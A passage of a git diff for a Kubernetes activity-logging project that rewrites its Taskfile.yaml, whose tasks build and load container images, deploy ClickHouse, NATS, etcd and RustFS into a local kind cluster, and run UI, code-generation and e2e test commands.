`pkg/apis/activity/v1alpha1/` | All CRD types live here | +| Storage implementations | `internal/storage/` | ClickHouse queries | +| CEL expression logic | `internal/cel/` | Policy matching engine | +| UI components | `ui/src/components/` | React component library | +| API server handlers | `internal/apiserver/` | REST handlers for each resource | +| Kustomize base | `config/base/` | Core deployment manifests | +| Kustomize components | `config/components/` | Optional features (ui, vector, etc.) | +| Database migrations | `migrations/` | ClickHouse schema files | + +## Technology Stack + +- **Go 1.25+** - Backend implementation +- **NATS JetStream** - Durable event streaming +- **Vector** - Data pipeline routing +- **ClickHouse** - Analytics storage +- **etcd** - Policy persistence +- **React/TypeScript** - UI components diff --git a/Taskfile.yaml b/Taskfile.yaml index 1ff7527d..bedb7edc 100644 --- a/Taskfile.yaml +++ b/Taskfile.yaml @@ -1,670 +1,670 @@ -version: '3' - -vars: - TOOL_DIR: "{{.USER_WORKING_DIR}}/bin" - # Container image configuration - ACTIVITY_IMAGE_NAME: "ghcr.io/datum-cloud/activity" - ACTIVITY_UI_IMAGE_NAME: "ghcr.io/datum-cloud/activity-ui" - ACTIVITY_IMAGE_TAG: "dev" - TEST_INFRA_CLUSTER_NAME: "test-infra" - # Test infra repository configuration - can be overridden with environment variable - TEST_INFRA_REPO_REF: 'v0.6.0' - # ClickHouse configuration for testing - CLICKHOUSE_DATABASE: "audit" - CLICKHOUSE_USERNAME: "default" - CLICKHOUSE_PASSWORD: "" - -includes: - # Must set TASK_X_REMOTE_TASKFILES=1 to use this feature. - # - # See: https://taskfile.dev/experiments/remote-taskfiles - test-infra: - taskfile: https://raw.githubusercontent.com/datum-cloud/test-infra/{{.TEST_INFRA_REPO_REF}}/Taskfile.yml - checksum: a1cf6063def6ee21ba42f8a0818127c92a9a5c313c293387f2294e42480dd3d5 - vars: - REPO_REF: "{{.TEST_INFRA_REPO_REF}}" - - # Database migrations - migrations: - taskfile: ./migrations/Taskfile.yaml - dir: ./migrations - vars: - CLICKHOUSE_DATABASE: "{{.CLICKHOUSE_DATABASE}}" - CLICKHOUSE_USERNAME: "{{.CLICKHOUSE_USERNAME}}" - CLICKHOUSE_PASSWORD: "{{.CLICKHOUSE_PASSWORD}}" - ROOT_DIR: "{{.USER_WORKING_DIR}}" - observability: - taskfile: ./observability/Taskfile.yaml - dir: ./observability - vars: - ROOT_DIR: "{{.USER_WORKING_DIR}}" - - # Performance testing with k6 - load: - taskfile: ./test/load/Taskfile.yaml - dir: ./test/load - vars: - ROOT_DIR: "{{.USER_WORKING_DIR}}" - - # Documentation (diagrams, etc.) - docs: - taskfile: ./docs/Taskfile.yaml - dir: ./docs - -tasks: - default: - desc: List all available tasks - cmds: - - task --list - silent: true - - # Build tasks - build: - desc: Build the activity binary - cmds: - - | - set -e - echo "Building activity..." - mkdir -p {{.TOOL_DIR}} - - # Get git information for version injection - GIT_COMMIT=$(git rev-parse HEAD 2>/dev/null || echo "unknown") - VERSION="v0.0.0-dev+${GIT_COMMIT:0:7}" - GIT_TREE_STATE="clean" - if [ -n "$(git status --porcelain 2>/dev/null)" ]; then - GIT_TREE_STATE="dirty" - fi - BUILD_DATE=$(date -u '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "unknown") - - echo "Version: ${VERSION}, Commit: ${GIT_COMMIT:0:7}, Tree: ${GIT_TREE_STATE}" - - go build \ - -ldflags="-X 'go.miloapis.com/activity/internal/version.Version=${VERSION}' \ - -X 'go.miloapis.com/activity/internal/version.GitCommit=${GIT_COMMIT}' \ - -X 'go.miloapis.com/activity/internal/version.GitTreeState=${GIT_TREE_STATE}' \ - -X 'go.miloapis.com/activity/internal/version.BuildDate=${BUILD_DATE}'" \ - -o {{.TOOL_DIR}}/activity ./cmd/activity - echo "✅ Binary built: {{.TOOL_DIR}}/activity" - silent: true - - # Development tasks - dev:build: - desc: Build the Activity server container image for development - silent: true - cmds: - - | - set -e - echo "Building Activity server container image: {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" - - # Get git information for version injection - GIT_COMMIT=$(git rev-parse HEAD 2>/dev/null || echo "unknown") - VERSION="v0.0.0-dev+${GIT_COMMIT:0:7}" - GIT_TREE_STATE="clean" - if [ -n "$(git status --porcelain 2>/dev/null)" ]; then - GIT_TREE_STATE="dirty" - fi - BUILD_DATE=$(date -u '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "unknown") - - echo "Version info: ${VERSION}, commit: ${GIT_COMMIT:0:7}, tree: ${GIT_TREE_STATE}" - - # Build using a simple Dockerfile (to be created) - if [ ! -f "Dockerfile" ]; then - echo "⚠️ Warning: Dockerfile not found - skipping container build" - echo "Please create a Dockerfile to enable container builds" - exit 1 - fi - - docker build \ - --build-arg VERSION="${VERSION}" \ - --build-arg GIT_COMMIT="${GIT_COMMIT}" \ - --build-arg GIT_TREE_STATE="${GIT_TREE_STATE}" \ - --build-arg BUILD_DATE="${BUILD_DATE}" \ - -t "{{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" . - echo "Successfully built {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" - - dev:load: - desc: Load the Activity server container image into the kind cluster - silent: true - cmds: - - | - set -e - echo "Loading image {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}} into kind cluster '{{.TEST_INFRA_CLUSTER_NAME}}'..." - kind load docker-image "{{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" --name "{{.TEST_INFRA_CLUSTER_NAME}}" - echo "Successfully loaded image into kind cluster" - - dev:build-ui: - desc: Build the Activity UI container image for development - silent: true - cmds: - - | - set -e - echo "Building Activity UI container image: {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" - - if [ ! -f "ui/Dockerfile" ]; then - echo "⚠️ Warning: ui/Dockerfile not found - skipping UI container build" - exit 1 - fi - - docker build \ - -t "{{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" \ - -f ui/Dockerfile \ - ui/ - echo "Successfully built {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" - - dev:load-ui: - desc: Load the Activity UI container image into the kind cluster - silent: true - cmds: - - | - set -e - echo "Loading image {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}} into kind cluster '{{.TEST_INFRA_CLUSTER_NAME}}'..." - kind load docker-image "{{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" --name "{{.TEST_INFRA_CLUSTER_NAME}}" - echo "Successfully loaded UI image into kind cluster" - - # ============================================================ - # Lightweight Dev Environment (single-replica, minimal resources) - # ============================================================ - dev:setup: - desc: Setup lightweight dev environment (single-replica ClickHouse, minimal resources) - silent: true - cmds: - - task: test-infra:cluster-up - - task: test-infra:install-observability - - task: dev:install-dependencies-minimal - - task: dev:build - - task: dev:load - - task: dev:build-ui - - task: dev:load-ui - - task: dev:deploy - - task: observability:deploy - - dev:install-dependencies-minimal: - desc: Install minimal infrastructure dependencies for dev (no RustFS) - silent: true - cmds: - - | - set -e - echo "📦 Installing minimal infrastructure dependencies for dev..." - echo "" - - # ============================================================ - # Install ClickHouse Operator - # ============================================================ - echo "📦 Installing ClickHouse operator via Flux HelmRelease..." - - echo "Applying Flux HelmRelease for ClickHouse operator..." - task test-infra:kubectl -- apply -k config/dependencies/clickhouse-operator - - echo "Waiting for operator HelmRelease to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/clickhouse-operator -n clickhouse-system --timeout=300s 2>/dev/null || echo "⚠️ HelmRelease not ready yet (may need Flux installed)" - - echo "Waiting for operator deployment to be ready..." - task test-infra:kubectl -- wait --for=condition=available deployment/clickhouse-operator -n clickhouse-system --timeout=120s 2>/dev/null || echo "⚠️ Operator deployment not ready yet" - - echo "✅ ClickHouse operator installed" - echo "" - - # ============================================================ - # Install NATS - # ============================================================ - echo "📦 Installing NATS for event streaming..." - - echo "Applying NATS resources..." - task test-infra:kubectl -- apply -k config/dependencies/nats - - echo "Waiting for NATS namespace to be created..." - task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/nats-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" - - echo "Waiting for NATS HelmRelease to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/nats -n nats-system --timeout=300s 2>/dev/null || echo "⚠️ NATS HelmRelease not ready yet (may need Flux installed)" - - echo "Waiting for NATS pods to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=nats -n nats-system --timeout=120s 2>/dev/null || echo "⚠️ NATS pods not ready yet" - - echo "✅ NATS installed" - echo "" - - # Note: RustFS is NOT installed for dev - we use local disk for storage - # Note: etcd is deployed as part of the dev overlay (not as a dependency) - echo "ℹ️ Skipping RustFS (dev uses local disk for ClickHouse storage)" - echo "" - - echo "✅ Minimal infrastructure dependencies installed!" - echo "" - - dev:deploy: - desc: Deploy Activity server using dev overlay (lightweight, non-HA) - silent: true - cmds: - - | - set -e - echo "🚀 Deploying Activity server (dev overlay - lightweight)..." - - # Check if deployment manifests exist - if [ ! -d "config" ]; then - echo "⚠️ Warning: config directory not found" - exit 1 - fi - - echo "📋 Deploying Activity server (dev overlay)..." - task test-infra:kubectl -- apply -k config/overlays/dev - - echo "⏳ Waiting for etcd to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/etcd -n activity-system --timeout=300s 2>/dev/null || echo "⚠️ etcd HelmRelease not ready yet" - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=etcd -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ etcd pods not ready yet" - - echo "⏳ Waiting for NATS streams to be ready..." - task test-infra:kubectl -- wait --for=condition=ready stream/audit-events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ audit-events stream not ready yet" - task test-infra:kubectl -- wait --for=condition=ready stream/activities -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ activities stream not ready yet" - task test-infra:kubectl -- wait --for=condition=ready stream/events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ events stream not ready yet (needed for Watch API)" - - echo "" - echo "⏳ Waiting for ClickHouse Keeper to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse-keeper.altinity.com/chk=activity-keeper -n activity-system --timeout=180s || echo "⚠️ ClickHouse Keeper pods not ready yet" - - echo "⏳ Waiting for ClickHouse to be ready..." - task test-infra:kubectl -- wait --for=jsonpath='{.status.status}'=Completed clickhouseinstallation -n activity-system activity-clickhouse --timeout=180s 2>/dev/null || echo "⚠️ ClickHouse Installation not completed" - task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system --timeout=180s || echo "⚠️ ClickHouse pods not ready yet" - - echo "⏳ Waiting for ClickHouse migrations to complete..." - task test-infra:kubectl -- wait --for=condition=complete job/clickhouse-migrate -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Migration job not complete yet" - - echo "⏳ Waiting for Activity server to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app=activity-apiserver -n activity-system --timeout=120s || echo "⚠️ API server pods not ready yet" - - echo "⏳ Waiting for Activity APIService to be available..." - task test-infra:kubectl -- wait --for=condition=Available apiservice/v1alpha1.activity.miloapis.com --timeout=120s || echo "⚠️ APIService not available yet" - - echo "⏳ Waiting for Vector aggregator to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/instance=vector-aggregator -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Vector aggregator pods not ready yet" - - echo "" - echo "📋 Installing example ActivityPolicies for basic Kubernetes resources..." - task test-infra:kubectl -- apply -k examples/basic-kubernetes/ - - echo "" - echo "✅ Activity server deployed (dev overlay)!" - echo "" - echo "📊 Check status:" - echo " All resources: task test-infra:kubectl -- get all -n activity-system" - echo " API server pods: task test-infra:kubectl -- get pods -l app=activity-apiserver -n activity-system" - echo " ClickHouse pods: task test-infra:kubectl -- get pods -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system" - echo " ActivityPolicies: task test-infra:kubectl -- get activitypolicies" - echo "" - echo "📋 View logs:" - echo " API server: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" - echo " ClickHouse: task test-infra:kubectl -- logs -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system -f" - echo "" - - dev:redeploy: - desc: Quick rebuild and redeploy for dev environment - deps: - - dev:build - - dev:load - - dev:build-ui - - dev:load-ui - cmds: - - | - set -e - echo "Redeploying Activity server and UI (dev)..." - - # Restart all activity deployments to pick up new image - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-apiserver || echo "⚠️ Deployment not found, run 'task dev:deploy' first" - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-processor || echo "⚠️ activity-processor deployment not found" - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-controller-manager || echo "⚠️ activity-controller-manager deployment not found" - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-ui || echo "⚠️ activity-ui deployment not found" - - # Wait for rollouts to complete - echo "Waiting for rollouts to complete..." - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-apiserver --timeout=120s || true - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-processor --timeout=120s || true - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-controller-manager --timeout=120s || true - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-ui --timeout=120s || true - - echo "✅ Redeployment complete!" - echo "Check logs with: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" - silent: true - - # ============================================================ - # Test Environment (full HA setup with RustFS) - # ============================================================ - test:setup: - desc: Setup full test environment with HA ClickHouse (3 replicas), S3 storage, and all components - silent: true - cmds: - - task: test-infra:cluster-up - - task: test-infra:install-observability - - task: test:install-dependencies - - task: dev:build - - task: dev:load - - task: dev:build-ui - - task: dev:load-ui - - task: test:deploy - - task: observability:deploy - - test:install-dependencies: - desc: Install all infrastructure dependencies for test environment (includes RustFS) - silent: true - cmds: - - | - set -e - echo "📦 Installing infrastructure dependencies..." - echo "" - - # ============================================================ - # Install ClickHouse Operator - # ============================================================ - echo "📦 Installing ClickHouse operator via Flux HelmRelease..." - - echo "Applying Flux HelmRelease for ClickHouse operator..." - task test-infra:kubectl -- apply -k config/dependencies/clickhouse-operator - - echo "Waiting for operator HelmRelease to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/clickhouse-operator -n clickhouse-system --timeout=300s 2>/dev/null || echo "⚠️ HelmRelease not ready yet (may need Flux installed)" - - echo "Waiting for operator deployment to be ready..." - task test-infra:kubectl -- wait --for=condition=available deployment/clickhouse-operator -n clickhouse-system --timeout=120s 2>/dev/null || echo "⚠️ Operator deployment not ready yet" - - echo "✅ ClickHouse operator installed" - echo "" - - # ============================================================ - # Install NATS - # ============================================================ - echo "📦 Installing NATS for event streaming..." - - echo "Applying NATS resources..." - task test-infra:kubectl -- apply -k config/dependencies/nats - - echo "Waiting for NATS namespace to be created..." - task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/nats-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" - - echo "Waiting for NATS HelmRelease to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/nats -n nats-system --timeout=300s 2>/dev/null || echo "⚠️ NATS HelmRelease not ready yet (may need Flux installed)" - - echo "Waiting for NATS pods to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=nats -n nats-system --timeout=120s 2>/dev/null || echo "⚠️ NATS pods not ready yet" - - echo "✅ NATS installed" - echo "" - - # Note: NACK controller is now installed as part of NATS dependencies kustomization above - # Stream configurations will be deployed as part of test:deploy step - - # ============================================================ - # Install RustFS for S3-compatible object storage - # ============================================================ - echo "📦 Installing RustFS for S3-compatible object storage..." - - echo "Applying RustFS resources..." - task test-infra:kubectl -- apply -k config/dependencies/rustfs - - echo "Waiting for rustfs-system namespace to be created..." - task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/rustfs-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" - - echo "Waiting for RustFS HelmRelease to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/rustfs -n rustfs-system --timeout=300s 2>/dev/null || echo "⚠️ RustFS HelmRelease not ready yet (may need Flux installed)" - - echo "Waiting for RustFS deployment to be ready..." - task test-infra:kubectl -- wait --for=condition=available deployment/rustfs -n rustfs-system --timeout=180s 2>/dev/null || echo "⚠️ RustFS deployment not ready yet" - - echo "✅ RustFS storage installed" - echo "" - - # ============================================================ - # Summary - # ============================================================ - echo "✅ All infrastructure dependencies installed successfully!" - echo "" - echo "📊 Check status:" - echo " ClickHouse operator: task test-infra:kubectl -- get pods -n clickhouse-system" - echo " NATS: task test-infra:kubectl -- get pods -n nats-system" - echo " NACK controller: task test-infra:kubectl -- get pods -n nats-system -l app.kubernetes.io/name=nack" - echo " RustFS: task test-infra:kubectl -- get pods -n rustfs-system" - echo "" - echo "📋 HelmRelease status:" - echo " task test-infra:kubectl -- get helmrelease -n clickhouse-system" - echo " task test-infra:kubectl -- get helmrelease -n nats-system" - echo " task test-infra:kubectl -- get helmrelease -n rustfs-system" - echo "" - echo "Note: JetStream stream configurations and S3 bucket will be deployed with the Activity server." - echo "" - - test:deploy: - desc: Deploy Activity server using test-infra overlay (full HA with 3 replicas) - silent: true - cmds: - - | - set -e - echo "🚀 Deploying Activity server (test-infra overlay - full HA)..." - - # Check if deployment manifests exist - if [ ! -d "config" ]; then - echo "⚠️ Warning: config directory not found" - exit 1 - fi - - echo "📋 Deploying Activity server and components (test-infra overlay)..." - task test-infra:kubectl -- apply -k config/overlays/test-infra - - echo "⏳ Waiting for etcd to be ready..." - task test-infra:kubectl -- wait --for=condition=ready helmrelease/etcd -n activity-system --timeout=300s 2>/dev/null || echo "⚠️ etcd HelmRelease not ready yet" - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=etcd -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ etcd pods not ready yet" - - echo "⏳ Waiting for NATS streams to be ready..." - task test-infra:kubectl -- wait --for=condition=ready stream/audit-events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ audit-events stream not ready yet" - task test-infra:kubectl -- wait --for=condition=ready stream/activities -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ activities stream not ready yet" - task test-infra:kubectl -- wait --for=condition=ready stream/events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ events stream not ready yet (needed for Watch API)" - - echo "" - echo "⏳ Waiting for RustFS bucket initialization..." - task test-infra:kubectl -- wait --for=condition=complete job/rustfs-bucket-init -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Bucket initialization not complete yet" - - echo "⏳ Waiting for ClickHouse Keeper to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse-keeper.altinity.com/chk=activity-keeper -n activity-system --timeout=180s || echo "⚠️ ClickHouse Keeper pods not ready yet" - - echo "⏳ Waiting for ClickHouse to be ready..." - task test-infra:kubectl -- wait --for=jsonpath='{.status.status}'=Completed clickhouseinstallation -n activity-system activity-clickhouse --timeout=180s 2>/dev/null || echo "⚠️ ClickHouse Installation not completed" - task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system --timeout=180s || echo "⚠️ ClickHouse pods not ready yet" - - echo "⏳ Waiting for ClickHouse migrations to complete..." - task test-infra:kubectl -- wait --for=condition=complete job/clickhouse-migrate -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Migration job not complete yet" - - echo "⏳ Waiting for Activity server to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app=activity-apiserver -n activity-system --timeout=120s || echo "⚠️ API server pods not ready yet" - - echo "⏳ Waiting for Vector aggregator to be ready..." - task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/instance=vector-aggregator -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Vector aggregator pods not ready yet" - - echo "" - echo "⏳ Waiting for Grafana ClickHouse datasource to be synced..." - sleep 5 - task test-infra:kubectl -- wait --for=condition=DatasourceSynchronized grafanadatasource/clickhouse-datasource -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ Datasource not synced yet (may need to restart Grafana pod for plugin to load)" - - echo "" - echo "📋 Installing example ActivityPolicies for basic Kubernetes resources..." - task test-infra:kubectl -- apply -k examples/basic-kubernetes/ - - echo "" - echo "✅ Activity server deployed (test-infra overlay - full HA)!" - echo "" - echo "📊 Check status:" - echo " All resources: task test-infra:kubectl -- get all -n activity-system" - echo " API server pods: task test-infra:kubectl -- get pods -l app=activity-apiserver -n activity-system" - echo " ClickHouse pods: task test-infra:kubectl -- get pods -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system" - echo " Vector pods: task test-infra:kubectl -- get pods -l app.kubernetes.io/instance=vector-aggregator -n activity-system" - echo " NATS pods: task test-infra:kubectl -- get pods -n nats-system" - echo " NATS streams: task test-infra:kubectl -- get streams -n activity-system" - echo " S3 bucket: task test-infra:kubectl -- get objectbucketclaim -n activity-system" - echo " API service: kubectl get apiservice v1alpha1.activity.miloapis.com" - echo " Grafana datasrc: task test-infra:kubectl -- get grafanadatasource clickhouse-datasource -n activity-system" - echo " ActivityPolicies: task test-infra:kubectl -- get activitypolicies" - echo "" - echo "📋 View logs:" - echo " API server: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" - echo " ClickHouse: task test-infra:kubectl -- logs -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system -f" - echo " Vector: task test-infra:kubectl -- logs -l app.kubernetes.io/instance=vector-aggregator -n activity-system -f" - echo " NATS: task test-infra:kubectl -- logs -l app.kubernetes.io/name=nats -n nats-system -f" - echo "" - echo "📊 Observability:" - echo " Access Grafana: task test-infra:kubectl -- port-forward -n telemetry-system svc/grafana-service 3000:3000" - echo " Grafana URL: http://localhost:3000 (admin / datum123)" - echo " Verify datasource: task test-infra:kubectl -- get grafanadatasource -n activity-system" - echo "" - - test:redeploy: - desc: Quick rebuild and redeploy for test environment - deps: - - dev:build - - dev:load - cmds: - - | - set -e - echo "Redeploying Activity server (test)..." - - # Restart all activity deployments to pick up new image - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-apiserver || echo "⚠️ Deployment not found, run 'task test:deploy' first" - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-processor || echo "⚠️ activity-processor deployment not found" - task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-controller-manager || echo "⚠️ activity-controller-manager deployment not found" - - # Wait for rollouts to complete - echo "Waiting for rollouts to complete..." - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-apiserver --timeout=120s || true - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-processor --timeout=120s || true - task test-infra:kubectl -- rollout status -n activity-system deployment/activity-controller-manager --timeout=120s || true - - echo "✅ Redeployment complete!" - echo "Check logs with: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" - silent: true - - # ============================================================ - # Telepresence for remote debugging - # ============================================================ - # Telepresence tasks are now provided by test-infra: - # task test-infra:telepresence:install - Install CLI - # task test-infra:telepresence:connect - Connect to cluster - # task test-infra:telepresence:intercept - Intercept service (SERVICE=name NAMESPACE=ns PORT=port) - # task test-infra:telepresence:status - Show status - # task test-infra:telepresence:quit - Disconnect - - # ============================================================ - # UI Development - # ============================================================ - ui:dev: - desc: Run the Activity UI example app locally with hot-reload - dir: ui/example - cmds: - - | - set -e - echo "🚀 Starting Activity UI dev server..." - echo "" - echo "The example app imports directly from ui/src/ for hot-reload." - echo "Changes to ui/src/ will automatically update in the browser." - echo "" - npm run dev - - ui:build: - desc: Build the Activity UI component library - dir: ui - cmds: - - | - set -e - echo "📦 Building Activity UI component library..." - npm run build - echo "✅ Library built to ui/dist/" - - ui:type-check: - desc: Type-check the Activity UI component library - dir: ui - cmds: - - npm run type-check - - ui:lint: - desc: Lint the Activity UI component library - dir: ui - cmds: - - npm run lint - - # OpenAPI code generation - generate:openapi: - desc: Generate Kubernetes OpenAPI definitions - cmds: - - | - set -e - echo "🔄 Generating Kubernetes OpenAPI definitions..." - ./hack/update-codegen.sh - echo "✅ OpenAPI generation complete" - silent: true - - # RBAC generation from kubebuilder annotations - generate:rbac: - desc: Generate RBAC manifests from kubebuilder annotations - cmds: - - | - set -e - echo "🔄 Generating RBAC manifests from kubebuilder annotations..." - ./hack/generate-rbac.sh - echo "✅ RBAC generation complete" - silent: true - - # API documentation generation - generate:docs: - desc: Generate API reference documentation - cmds: - - | - set -e - echo "🔄 Generating API reference documentation..." - chmod +x ./hack/generate-api-docs.sh - ./hack/generate-api-docs.sh - echo "✅ API documentation generation complete" - silent: true - - # Architecture diagram tasks - diagrams: - desc: Generate architecture diagrams from PlantUML - cmds: - - task: docs:diagrams - silent: true - - # Unified code generation task - composes all generate:* subtasks - generate: - desc: Run all code generation tasks (OpenAPI, RBAC, migrations ConfigMap, API docs, diagrams, k6 tests, etc.) - deps: - - generate:openapi - - generate:rbac - - migrations:generate - - load:generate - - observability:build-mixin - - generate:docs - - docs:generate - cmds: - - | - echo "" - echo "🎉 All code generation complete!" - echo "" - echo "Generated files:" - echo " - pkg/generated/openapi/zz_generated.openapi.go" - echo " - config/base/generated/controller-manager-rbac.yaml" - echo " - config/components/clickhouse-migrations/configmap.yaml" - echo " - config/components/k6-performance-tests/generated/query-load-test.js" - echo " - docs/api.md" - echo "" - echo "Next steps:" - echo " - Review generated files" - echo " - Commit: git add pkg/ config/ docs/ && git commit -m 'chore: regenerate code and docs'" - silent: true - - # ============================================================ - # E2E Testing with Chainsaw - # ============================================================ - e2e: - desc: Run chainsaw e2e tests - cmds: - - chainsaw test test/e2e/ --config test/e2e/chainsaw-test.yaml - silent: false - - e2e:named-rules: - desc: Run named rules e2e tests only - cmds: - - chainsaw test test/e2e/activitypolicy/named-rules/ - silent: false +version: '3' + +vars: + TOOL_DIR: "{{.USER_WORKING_DIR}}/bin" + # Container image configuration + ACTIVITY_IMAGE_NAME: "ghcr.io/datum-cloud/activity" + ACTIVITY_UI_IMAGE_NAME: "ghcr.io/datum-cloud/activity-ui" + ACTIVITY_IMAGE_TAG: "dev" + TEST_INFRA_CLUSTER_NAME: "test-infra" + # Test infra repository configuration - can be overridden with environment variable + TEST_INFRA_REPO_REF: 'v0.6.0' + # ClickHouse configuration for testing + CLICKHOUSE_DATABASE: "audit" + CLICKHOUSE_USERNAME: "default" + CLICKHOUSE_PASSWORD: "" + +includes: + # Must set TASK_X_REMOTE_TASKFILES=1 to use this feature. + # + # See: https://taskfile.dev/experiments/remote-taskfiles + test-infra: + taskfile: https://raw.githubusercontent.com/datum-cloud/test-infra/{{.TEST_INFRA_REPO_REF}}/Taskfile.yml + checksum: a1cf6063def6ee21ba42f8a0818127c92a9a5c313c293387f2294e42480dd3d5 + vars: + REPO_REF: "{{.TEST_INFRA_REPO_REF}}" + + # Database migrations + migrations: + taskfile: ./migrations/Taskfile.yaml + dir: ./migrations + vars: + CLICKHOUSE_DATABASE: "{{.CLICKHOUSE_DATABASE}}" + CLICKHOUSE_USERNAME: "{{.CLICKHOUSE_USERNAME}}" + CLICKHOUSE_PASSWORD: "{{.CLICKHOUSE_PASSWORD}}" + ROOT_DIR: "{{.USER_WORKING_DIR}}" + observability: + taskfile: ./observability/Taskfile.yaml + dir: ./observability + vars: + ROOT_DIR: "{{.USER_WORKING_DIR}}" + + # Performance testing with k6 + load: + taskfile: ./test/load/Taskfile.yaml + dir: ./test/load + vars: + ROOT_DIR: "{{.USER_WORKING_DIR}}" + + # Documentation (diagrams, etc.) + docs: + taskfile: ./docs/Taskfile.yaml + dir: ./docs + +tasks: + default: + desc: List all available tasks + cmds: + - task --list + silent: true + + # Build tasks + build: + desc: Build the activity binary + cmds: + - | + set -e + echo "Building activity..." + mkdir -p {{.TOOL_DIR}} + + # Get git information for version injection + GIT_COMMIT=$(git rev-parse HEAD 2>/dev/null || echo "unknown") + VERSION="v0.0.0-dev+${GIT_COMMIT:0:7}" + GIT_TREE_STATE="clean" + if [ -n "$(git status --porcelain 2>/dev/null)" ]; then + GIT_TREE_STATE="dirty" + fi + BUILD_DATE=$(date -u '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "unknown") + + echo "Version: ${VERSION}, Commit: ${GIT_COMMIT:0:7}, Tree: ${GIT_TREE_STATE}" + + go build \ + -ldflags="-X 'go.miloapis.com/activity/internal/version.Version=${VERSION}' \ + -X 'go.miloapis.com/activity/internal/version.GitCommit=${GIT_COMMIT}' \ + -X 'go.miloapis.com/activity/internal/version.GitTreeState=${GIT_TREE_STATE}' \ + -X 'go.miloapis.com/activity/internal/version.BuildDate=${BUILD_DATE}'" \ + -o {{.TOOL_DIR}}/activity ./cmd/activity + echo "✅ Binary built: {{.TOOL_DIR}}/activity" + silent: true + + # Development tasks + dev:build: + desc: Build the Activity server container image for development + silent: true + cmds: + - | + set -e + echo "Building Activity server container image: {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" + + # Get git information for version injection + GIT_COMMIT=$(git rev-parse HEAD 2>/dev/null || echo "unknown") + VERSION="v0.0.0-dev+${GIT_COMMIT:0:7}" + GIT_TREE_STATE="clean" + if [ -n "$(git status --porcelain 2>/dev/null)" ]; then + GIT_TREE_STATE="dirty" + fi + BUILD_DATE=$(date -u '+%Y-%m-%dT%H:%M:%SZ' 